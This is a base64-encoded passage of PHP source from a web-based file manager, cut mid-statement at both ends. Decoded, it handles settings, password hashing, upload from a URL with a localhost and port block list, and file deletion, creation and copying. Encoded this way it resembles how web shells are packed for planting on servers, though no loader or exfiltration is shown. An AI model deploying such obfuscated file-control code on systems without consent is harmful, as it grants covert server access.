bmV3IEV4Y2VwdGlvbigiQ291bGQgbm90IGNvcHkgZmlsZSB7JGZpbGVOYW1lfSIpOwogICAgICAgICAgICB9CiAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgIGVjaG8gJGUtPmdldE1lc3NhZ2UoKTsKICAgICAgICB9CiAgICB9CgogICAgLy8gU2F2ZSBDb25maWcKICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gInNldHRpbmdzIikgewogICAgICAgIGdsb2JhbCAkY2ZnLCAkbGFuZywgJHJlcG9ydF9lcnJvcnMsICRzaG93X2hpZGRlbl9maWxlcywgJGxhbmdfbGlzdCwgJGhpZGVfQ29scywgJHRoZW1lOwogICAgICAgICRuZXdMbmcgPSAkX1BPU1RbJ2pzLWxhbmd1YWdlJ107CiAgICAgICAgZm1fZ2V0X3RyYW5zbGF0aW9ucyhbXSk7CiAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRuZXdMbmcsICRsYW5nX2xpc3QpKSB7CiAgICAgICAgICAgICRuZXdMbmcgPSAnZW4nOwogICAgICAgIH0KCiAgICAgICAgJGVycCA9IGlzc2V0KCRfUE9TVFsnanMtZXJyb3ItcmVwb3J0J10pICYmICRfUE9TVFsnanMtZXJyb3ItcmVwb3J0J10gPT0gInRydWUiID8gdHJ1ZSA6IGZhbHNlOwogICAgICAgICRzaGYgPSBpc3NldCgkX1BPU1RbJ2pzLXNob3ctaGlkZGVuJ10pICYmICRfUE9TVFsnanMtc2hvdy1oaWRkZW4nXSA9PSAidHJ1ZSIgPyB0cnVlIDogZmFsc2U7CiAgICAgICAgJGhjbyA9IGlzc2V0KCRfUE9TVFsnanMtaGlkZS1jb2xzJ10pICYmICRfUE9TVFsnanMtaGlkZS1jb2xzJ10gPT0gInRydWUiID8gdHJ1ZSA6IGZhbHNlOwogICAgICAgICR0ZTMgPSAkX1BPU1RbJ2pzLXRoZW1lLTMnXTsKCiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ2xhbmcnXSAhPSAkbmV3TG5nKSB7CiAgICAgICAgICAgICRjZmctPmRhdGFbJ2xhbmcnXSA9ICRuZXdMbmc7CiAgICAgICAgICAgICRsYW5nID0gJG5ld0xuZzsKICAgICAgICB9CiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ2Vycm9yX3JlcG9ydGluZyddICE9ICRlcnApIHsKICAgICAgICAgICAgJGNmZy0+ZGF0YVsnZXJyb3JfcmVwb3J0aW5nJ10gPSAkZXJwOwogICAgICAgICAgICAkcmVwb3J0X2Vycm9ycyA9ICRlcnA7CiAgICAgICAgfQogICAgICAgIGlmICgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddICE9ICRzaGYpIHsKICAgICAgICAgICAgJGNmZy0+ZGF0YVsnc2hvd19oaWRkZW4nXSA9ICRzaGY7CiAgICAgICAgICAgICRzaG93X2hpZGRlbl9maWxlcyA9ICRzaGY7CiAgICAgICAgfQogICAgICAgIGlmICgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddICE9ICRzaGYpIHsKICAgICAgICAgICAgJGNmZy0+ZGF0YVsnc2hvd19oaWRkZW4nXSA9ICRzaGY7CiAgICAgICAgICAgICRzaG93X2hpZGRlbl9maWxlcyA9ICRzaGY7CiAgICAgICAgfQogICAgICAgIGlmICgkY2ZnLT5kYXRhWydoaWRlX0NvbHMnXSAhPSAkaGNvKSB7CiAgICAgICAgICAgICRjZmctPmRhdGFbJ2hpZGVfQ29scyddID0gJGhjbzsKICAgICAgICAgICAgJGhpZGVfQ29scyA9ICRoY287CiAgICAgICAgfQogICAgICAgIGlmICgkY2ZnLT5kYXRhWyd0aGVtZSddICE9ICR0ZTMpIHsKICAgICAgICAgICAgJGNmZy0+ZGF0YVsndGhlbWUnXSA9ICR0ZTM7CiAgICAgICAgICAgICR0aGVtZSA9ICR0ZTM7CiAgICAgICAgfQogICAgICAgICRjZmctPnNhdmUoKTsKICAgICAgICBlY2hvIHRydWU7CiAgICB9CgogICAgLy8gbmV3IHBhc3N3b3JkIGhhc2gKICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gInB3ZGhhc2giKSB7CiAgICAgICAgJHJlcyA9IGlzc2V0KCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSkgJiYgIWVtcHR5KCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSkgPyBwYXNzd29yZF9oYXNoKCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSwgUEFTU1dPUkRfREVGQVVMVCkgOiAnJzsKICAgICAgICBlY2hvICRyZXM7CiAgICB9CgogICAgLy91cGxvYWQgdXNpbmcgdXJsCiAgICBpZiAoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddID09ICJ1cGxvYWQiICYmICFlbXB0eSgkX1JFUVVFU1RbInVwbG9hZHVybCJdKSkgewogICAgICAgICRwYXRoID0gRk1fUk9PVF9QQVRIOwogICAgICAgIGlmIChGTV9QQVRIICE9ICcnKSB7CiAgICAgICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiBldmVudF9jYWxsYmFjaygkbWVzc2FnZSkKICAgICAgICB7CiAgICAgICAgICAgIGdsb2JhbCAkY2FsbGJhY2s7CiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJG1lc3NhZ2UpOwogICAgICAgIH0KCiAgICAgICAgZnVuY3Rpb24gZ2V0X2ZpbGVfcGF0aCgpCiAgICAgICAgewogICAgICAgICAgICBnbG9iYWwgJHBhdGgsICRmaWxlaW5mbywgJHRlbXBfZmlsZTsKICAgICAgICAgICAgcmV0dXJuICRwYXRoIC4gIi8iIC4gYmFzZW5hbWUoJGZpbGVpbmZvLT5uYW1lKTsKICAgICAgICB9CgogICAgICAgICR1cmwgPSAhZW1wdHkoJF9SRVFVRVNUWyJ1cGxvYWR1cmwiXSkgJiYgcHJlZ19tYXRjaCgifF5odHRwKHMpPzovLy4rJHwiLCBzdHJpcHNsYXNoZXMoJF9SRVFVRVNUWyJ1cGxvYWR1cmwiXSkpID8gc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFsidXBsb2FkdXJsIl0pIDogbnVsbDsKCiAgICAgICAgLy9wcmV2ZW50IDEyNy4qIGRvbWFpbiBhbmQga25vd24gcG9ydHMKICAgICAgICAkZG9tYWluID0gcGFyc2VfdXJsKCR1cmwsIFBIUF9VUkxfSE9TVCk7CiAgICAgICAgJHBvcnQgPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9QT1JUKTsKICAgICAgICAka25vd25Qb3J0cyA9IFsyMiwgMjMsIDI1LCAzMzA2XTsKCiAgICAgICAgaWYgKHByZWdfbWF0Y2goIi9ebG9jYWxob3N0JHxeMTI3KD86XC5bMC05XSspezAsMn1cLlswLTldKyR8Xig/OjAqXDopKj86PzAqMSQvaSIsICRkb21haW4pIHx8IGluX2FycmF5KCRwb3J0LCAka25vd25Qb3J0cykpIHsKICAgICAgICAgICAgJGVyciA9IGFycmF5KCJtZXNzYWdlIiA9PiAiVVJMIGlzIG5vdCBhbGxvd2VkIik7CiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KCJmYWlsIiA9PiAkZXJyKSk7CiAgICAgICAgICAgIGV4aXQoKTsKICAgICAgICB9CgogICAgICAgICR1c2VfY3VybCA9IGZhbHNlOwogICAgICAgICR0ZW1wX2ZpbGUgPSB0ZW1wbmFtKHN5c19nZXRfdGVtcF9kaXIoKSwgInVwbG9hZC0iKTsKICAgICAgICAkZmlsZWluZm8gPSBuZXcgc3RkQ2xhc3MoKTsKICAgICAgICAkZmlsZWluZm8tPm5hbWUgPSB0cmltKHVybGRlY29kZShiYXNlbmFtZSgkdXJsKSksICIuXHgwMC4uXHgyMCIpOwoKICAgICAgICAkYWxsb3dlZCA9IChGTV9VUExPQURfRVhURU5TSU9OKSA/IGV4cGxvZGUoJywnLCBGTV9VUExPQURfRVhURU5TSU9OKSA6IGZhbHNlOwogICAgICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlaW5mby0+bmFtZSwgUEFUSElORk9fRVhURU5TSU9OKSk7CiAgICAgICAgJGlzRmlsZUFsbG93ZWQgPSAoJGFsbG93ZWQpID8gaW5fYXJyYXkoJGV4dCwgJGFsbG93ZWQpIDogdHJ1ZTsKCiAgICAgICAgJGVyciA9IGZhbHNlOwoKICAgICAgICBpZiAoISRpc0ZpbGVBbGxvd2VkKSB7CiAgICAgICAgICAgICRlcnIgPSBhcnJheSgibWVzc2FnZSIgPT4gIkZpbGUgZXh0ZW5zaW9uIGlzIG5vdCBhbGxvd2VkIik7CiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KCJmYWlsIiA9PiAkZXJyKSk7CiAgICAgICAgICAgIGV4aXQoKTsKICAgICAgICB9CgogICAgICAgIGlmICghJHVybCkgewogICAgICAgICAgICAkc3VjY2VzcyA9IGZhbHNlOwogICAgICAgIH0gZWxzZSBpZiAoJHVzZV9jdXJsKSB7CiAgICAgICAgICAgIEAkZnAgPSBmb3BlbigkdGVtcF9maWxlLCAidyIpOwogICAgICAgICAgICBAJGNoID0gY3VybF9pbml0KCR1cmwpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfTk9QUk9HUkVTUywgZmFsc2UpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTsKICAgICAgICAgICAgQCRzdWNjZXNzID0gY3VybF9leGVjKCRjaCk7CiAgICAgICAgICAgICRjdXJsX2luZm8gPSBjdXJsX2dldGluZm8oJGNoKTsKICAgICAgICAgICAgaWYgKCEkc3VjY2VzcykgewogICAgICAgICAgICAgICAgJGVyciA9IGFycmF5KCJtZXNzYWdlIiA9PiBjdXJsX2Vycm9yKCRjaCkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIEBjdXJsX2Nsb3NlKCRjaCk7CiAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICAkZmlsZWluZm8tPnNpemUgPSAkY3VybF9pbmZvWyJzaXplX2Rvd25sb2FkIl07CiAgICAgICAgICAgICRmaWxlaW5mby0+dHlwZSA9ICRjdXJsX2luZm9bImNvbnRlbnRfdHlwZSJdOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRjdHggPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoKTsKICAgICAgICAgICAgQCRzdWNjZXNzID0gY29weSgkdXJsLCAkdGVtcF9maWxlLCAkY3R4KTsKICAgICAgICAgICAgaWYgKCEkc3VjY2VzcykgewogICAgICAgICAgICAgICAgJGVyciA9IGVycm9yX2dldF9sYXN0KCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmICgkc3VjY2VzcykgewogICAgICAgICAgICAkc3VjY2VzcyA9IHJlbmFtZSgkdGVtcF9maWxlLCBzdHJ0b2soZ2V0X2ZpbGVfcGF0aCgpLCAnPycpKTsKICAgICAgICB9CgogICAgICAgIGlmICgkc3VjY2VzcykgewogICAgICAgICAgICBldmVudF9jYWxsYmFjayhhcnJheSgiZG9uZSIgPT4gJGZpbGVpbmZvKSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgdW5saW5rKCR0ZW1wX2ZpbGUpOwogICAgICAgICAgICBpZiAoISRlcnIpIHsKICAgICAgICAgICAgICAgICRlcnIgPSBhcnJheSgibWVzc2FnZSIgPT4gIkludmFsaWQgdXJsIHBhcmFtZXRlciIpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KCJmYWlsIiA9PiAkZXJyKSk7CiAgICAgICAgfQogICAgfQogICAgZXhpdCgpOwp9CgovLyBEZWxldGUgZmlsZSAvIGZvbGRlcgppZiAoaXNzZXQoJF9HRVRbJ2RlbCddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkgewogICAgJGRlbCA9IHN0cl9yZXBsYWNlKCcvJywgJycsIGZtX2NsZWFuX3BhdGgoJF9HRVRbJ2RlbCddKSk7CiAgICBpZiAoJGRlbCAhPSAnJyAmJiAkZGVsICE9ICcuLicgJiYgJGRlbCAhPSAnLicgJiYgdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgewogICAgICAgICRwYXRoID0gRk1fUk9PVF9QQVRIOwogICAgICAgIGlmIChGTV9QQVRIICE9ICcnKSB7CiAgICAgICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7CiAgICAgICAgfQogICAgICAgICRpc19kaXIgPSBpc19kaXIoJHBhdGggLiAnLycgLiAkZGVsKTsKICAgICAgICBpZiAoZm1fcmRlbGV0ZSgkcGF0aCAuICcvJyAuICRkZWwpKSB7CiAgICAgICAgICAgICRtc2cgPSAkaXNfZGlyID8gbG5nKCdGb2xkZXInKSAuICcgPGI+JXM8L2I+ICcgLiBsbmcoJ0RlbGV0ZWQnKSA6IGxuZygnRmlsZScpIC4gJyA8Yj4lczwvYj4gJyAuIGxuZygnRGVsZXRlZCcpOwogICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYoJG1zZywgZm1fZW5jKCRkZWwpKSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJG1zZyA9ICRpc19kaXIgPyBsbmcoJ0ZvbGRlcicpIC4gJyA8Yj4lczwvYj4gJyAuIGxuZygnbm90IGRlbGV0ZWQnKSA6IGxuZygnRmlsZScpIC4gJyA8Yj4lczwvYj4gJyAuIGxuZygnbm90IGRlbGV0ZWQnKTsKICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCRtc2csIGZtX2VuYygkZGVsKSksICdlcnJvcicpOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZScpLCAnZXJyb3InKTsKICAgIH0KICAgICRGTV9QQVRIID0gRk1fUEFUSDsKICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsKfQoKLy8gQ3JlYXRlIGEgbmV3IGZpbGUvZm9sZGVyCmlmIChpc3NldCgkX1BPU1RbJ25ld2ZpbGVuYW1lJ10sICRfUE9TVFsnbmV3ZmlsZSddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkgewogICAgJHR5cGUgPSB1cmxkZWNvZGUoJF9QT1NUWyduZXdmaWxlJ10pOwogICAgJG5ldyA9IHN0cl9yZXBsYWNlKCcvJywgJycsIGZtX2NsZWFuX3BhdGgoc3RyaXBfdGFncygkX1BPU1RbJ25ld2ZpbGVuYW1lJ10pKSk7CiAgICBpZiAoZm1faXN2YWxpZF9maWxlbmFtZSgkbmV3KSAmJiAkbmV3ICE9ICcnICYmICRuZXcgIT0gJy4uJyAmJiAkbmV3ICE9ICcuJyAmJiB2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7CiAgICAgICAgJHBhdGggPSBGTV9ST09UX1BBVEg7CiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHsKICAgICAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsKICAgICAgICB9CiAgICAgICAgaWYgKCR0eXBlID09ICJmaWxlIikgewogICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRwYXRoIC4gJy8nIC4gJG5ldykpIHsKICAgICAgICAgICAgICAgIGlmIChmbV9pc192YWxpZF9leHQoJG5ldykpIHsKICAgICAgICAgICAgICAgICAgICBAZm9wZW4oJHBhdGggLiAnLycgLiAkbmV3LCAndycpIG9yIGRpZSgnQ2Fubm90IG9wZW4gZmlsZTogICcgLiAkbmV3KTsKICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGaWxlJykgLiAnIDxiPiVzPC9iPiAnIC4gbG5nKCdDcmVhdGVkJyksIGZtX2VuYygkbmV3KSkpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnKSwgJ2Vycm9yJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGaWxlJykgLiAnIDxiPiVzPC9iPiAnIC4gbG5nKCdhbHJlYWR5IGV4aXN0cycpLCBmbV9lbmMoJG5ldykpLCAnYWxlcnQnKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmIChmbV9ta2RpcigkcGF0aCAuICcvJyAuICRuZXcsIGZhbHNlKSA9PT0gdHJ1ZSkgewogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykgLiAnIDxiPiVzPC9iPiAnIC4gbG5nKCdDcmVhdGVkJyksICRuZXcpKTsKICAgICAgICAgICAgfSBlbHNlaWYgKGZtX21rZGlyKCRwYXRoIC4gJy8nIC4gJG5ldywgZmFsc2UpID09PSAkcGF0aCAuICcvJyAuICRuZXcpIHsKICAgICAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0ZvbGRlcicpIC4gJyA8Yj4lczwvYj4gJyAuIGxuZygnYWxyZWFkeSBleGlzdHMnKSwgZm1fZW5jKCRuZXcpKSwgJ2FsZXJ0Jyk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGb2xkZXInKSAuICcgPGI+JXM8L2I+ICcgLiBsbmcoJ25vdCBjcmVhdGVkJyksIGZtX2VuYygkbmV3KSksICdlcnJvcicpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBmbV9zZXRfbXNnKGxuZygnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgb3IgZm9sZGVyIG5hbWUnKSwgJ2Vycm9yJyk7CiAgICB9CiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7CiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7Cn0KCi8vIENvcHkgZm9sZGVyIC8gZmlsZQppZiAoaXNzZXQoJF9HRVRbJ2NvcHknXSwgJF9HRVRbJ2ZpbmlzaCddKSAmJiAhRk1fUkVBRE9OTFkpIHsKICAgIC8vIGZyb20KICAgICRjb3B5ID0gdXJsZGVjb2RlKCRfR0VUWydjb3B5J10pOwogICAgJGNvcHkgPSBmbV9jbGVhbl9wYXRoKCRjb3B5KTsKICAgIC8vIGVtcHR5IHBhdGgKICAgIGlmICgkY29weSA9PSAnJykgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdTb3VyY2UgcGF0aCBub3QgZGVmaW5lZCcpLCAnZXJyb3InKTsKICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7CiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwogICAgfQogICAgLy8gYWJzIHBhdGggZnJvbQogICAgJGZyb20gPSBGTV9ST09UX1BBVEggLiAnLycgLiAkY29weTsKICAgIC8vIGFicyBwYXRoIHRvCiAgICAkZGVzdCA9IEZNX1JPT1RfUEFUSDsKICAgIGlmIChGTV9QQVRIICE9ICcnKSB7CiAgICAgICAgJGRlc3QgLj0gJy8nIC4gRk1fUEFUSDsKICAgIH0KICAgICRkZXN0IC49ICcvJyAuIGJhc2VuYW1lKCRmcm9tKTsKICAgIC8vIG1vdmU/CiAgICAkbW92ZSA9IGlzc2V0KCRfR0VUWydtb3ZlJ10pOwogICAgJG1vdmUgPSBmbV9jbGVhbl9wYXRoKHVybGRlY29kZSgkbW92ZSkpOwogICAgLy8gY29weS9tb3ZlL2R1cGxpY2F0ZQogICAgaWYgKCRmcm9tICE9ICRkZXN0KSB7CiAgICAgICAgJG1zZ19mcm9tID0gdHJpbShGTV9QQVRIIC4gJy8nIC4gYmFzZW5hbWUoJGZyb20pLCAnLycpOwogICAgICAgIGlmICgkbW92ZSkgeyAvLyBNb3ZlIGFuZCB0byAhPSBmcm9tIHNvIGp1c3QgcGVyZm9ybSBtb3ZlCiAgICAgICAgICAgICRyZW5hbWUgPSBmbV9yZW5hbWUoJGZyb20sICRkZXN0KTsKICAgICAgICAgICAgaWYgKCRyZW5hbWUpIHsKICAgICAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ01vdmVkIGZyb20nKSAuICcgPGI+JXM8L2I+ICcgLiBsbmcoJ3RvJykgLiAnIDxiPiVzPC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSk7CiAgICAgICAgICAgIH0gZWxzZWlmICgkcmVuYW1lID09PSBudWxsKSB7CiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBvciBmb2xkZXIgd2l0aCB0aGlzIHBhdGggYWxyZWFkeSBleGlzdHMnKSwgJ2FsZXJ0Jyk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdFcnJvciB3aGlsZSBtb3ZpbmcgZnJvbScpIC4gJyA8Yj4lczwvYj4gJyAuIGxuZygndG8nKSAuICcgPGI+JXM8L2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpLCAnZXJyb3InKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7IC8vIE5vdCBtb3ZlIGFuZCB0byAhPSBmcm9tIHNvIGNvcHkgd2l0aCBvcmlnaW5hbCBuYW1lCiAgICAgICAgICAgIGlmIChmbV9yY29weSgkZnJvbSwgJGRlc3QpKSB7CiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdDb3BpZWQgZnJvbScpIC4gJyA8Yj4lczwvYj4gJyAuIGxuZygndG8nKSAuICcgPGI+JXM8L2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0Vycm9yIHdoaWxlIGNvcHlpbmcgZnJvbScpIC4gJyA8Yj4lczwvYj4gJyAuIGxuZygndG8nKSAuICcgPGI+JXM8L2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpLCAnZXJyb3InKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgaWYgKCEkbW92ZSkgeyAvL05vdCBtb3ZlIGFuZCB0byA9IGZyb20gc28gZHVwbGljYXRlCiAgICAgICAgICAgICRtc2dfZnJvbSA9IHRyaW0oRk1fUEFUSCAuICcvJyAuIGJhc2VuYW1lKCRmcm9tKSwgJy8nKTsKICAgICAgICAgICAgJGZuX3BhcnRzID0gcGF0aGluZm8oJGZyb20pOwogICAgICAgICAgICAkZXh0ZW5zaW9uX3N1ZmZpeCA9ICcnOwogICAgICAgICAgICBpZiAoIWlzX2RpcigkZnJvbSkpIHsKICAgICAgICAgICAgICAgICRleHRlbnNpb25fc3VmZml4ID0gJy4nIC4gJGZuX3BhcnRzWydleHRlbnNpb24nXTsKICAgICAgICAgICAgfQogICAgICAgICAgICAvL0NyZWF0ZSBuZXcgbmFtZSBmb3IgZHVwbGljYXRlCiAgICAgICAgICAgICRmbl9kdXBsaWNhdGUgPSAkZm5fcGFydHNbJ2Rpcm5hbWUnXSAuICcvJyAuICRmbl9wYXJ0c1snZmlsZW5hbWUnXSAuICctJyAuIGRhdGUoJ1ltZEhpcycpIC4gJGV4dGVuc2lvbl9zdWZmaXg7CiAgICAgICAgICAgICRsb29wX2NvdW50ID0gMDsKICAgICAgICAgICAgJG1heF9sb29wID0gMTAwMDsKICAgICAgICAgICAgLy8gQ2hlY2sgaWYgYSBmaWxlIHdpdGggdGhlIGR1cGxpY2F0ZSBuYW1lIGFscmVhZHkgZXhpc3RzLCBpZiBzbywgbWFrZSBuZXcgbmFtZSAoZWRnZSBjYXNlLi4uKQogICAgICAgICAgICB3aGlsZSAoZmlsZV9leGlzdHMoJGZuX2R1cGxpY2F0ZSkgJiAkbG9vcF9jb3VudCA8ICRtYXhfbG9vcCkgewogICAgICAgICAgICAgICAgJGZuX3BhcnRzID0gcGF0aGluZm8oJGZuX2R1cGxpY2F0ZSk7CiAgICAgICAgICAgICAgICAkZm5fZHVwbGljYXRlID0gJGZuX3BhcnRzWydkaXJuYW1lJ10gLiAnLycgLiAkZm5fcGFydHNbJ2ZpbGVuYW1lJ10gLiAnLWNvcHknIC4gJGV4dGVuc2lvbl9zdWZmaXg7CiAgICAgICAgICAgICAgICAkbG9vcF9jb3VudCsrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChmbV9yY29weSgkZnJvbSwgJGZuX2R1cGxpY2F0ZSwgRmFsc2UpKSB7CiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYoJ0NvcGllZCBmcm9tIDxiPiVzPC9iPiB0byA8Yj4lczwvYj4nLCBmbV9lbmMoJGNvcHkpLCBmbV9lbmMoJGZuX2R1cGxpY2F0ZSkpKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZignRXJyb3Igd2hpbGUgY29weWluZyBmcm9tIDxiPiVzPC9iPiB0byA8Yj4lczwvYj4nLCBmbV9lbmMoJGNvcHkpLCBmbV9lbmMoJGZuX2R1cGxpY2F0ZSkpLCAnZXJyb3InKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdQYXRocyBtdXN0IGJlIG5vdCBlcXVhbCcpLCAnYWxlcnQnKTsKICAgICAgICB9CiAgICB9CiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7CiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7Cn0KCi8vIE1hc3MgY29weSBmaWxlcy8gZm9sZGVycwppZiAoaXNzZXQoJF9QT1NUWydmaWxlJ10sICRfUE9TVFsnY29weV90byddLCAkX1BPU1RbJ2ZpbmlzaCddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkgewoKICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIFRva2VuLicpLCAnZXJyb3InKTsKICAgIH0KCiAgICAvLyBmcm9tCiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDsKICAgIGlmIChGTV9QQVRIICE9ICcnKSB7CiAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsKICAgIH0KICAgIC8vIHRvCiAgICAkY29weV90b19wYXRoID0gRk1fUk9PVF9QQVRIOwogICAgJGNvcHlfdG8gPSBmbV9jbGVhbl9wYXRoKCRfUE9TVFsnY29weV90byddKTsKICAgIGlmICgkY29weV90byAhPSAnJykgewogICAgICAgICRjb3B5X3RvX3BhdGggLj0gJy8nIC4gJGNvcHlfdG87CiAgICB9CiAgICBpZiAoJHBhdGggPT0gJGNvcHlfdG9fcGF0aCkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdQYXRocyBtdXN0IGJlIG5vdCBlcXVhbCcpLCAnYWxlcnQnKTsKICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7CiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwogICAgfQogICAgaWYgKCFpc19kaXIoJGNvcHlfdG9fcGF0aCkpIHsKICAgICAgICBpZiAoIWZtX21rZGlyKCRjb3B5X3RvX3BhdGgsIHRydWUpKSB7CiAgICAgICAgICAgIGZtX3NldF9tc2coJ1VuYWJsZSB0byBjcmVhdGUgZGVzdGluYXRpb24gZm9sZGVyJywgJ2Vycm9yJyk7CiAgICAgICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDsKICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwogICAgICAgIH0KICAgIH0KICAgIC8vIG1vdmU/CiAgICAkbW92ZSA9IGlzc2V0KCRfUE9TVFsnbW92ZSddKTsKICAgIC8vIGNvcHkvbW92ZQogICAgJGVycm9ycyA9IDA7CiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTsKICAgIGlmIChpc19hcnJheSgkZmlsZXMpICYmIGNvdW50KCRmaWxlcykpIHsKICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGYpIHsKIC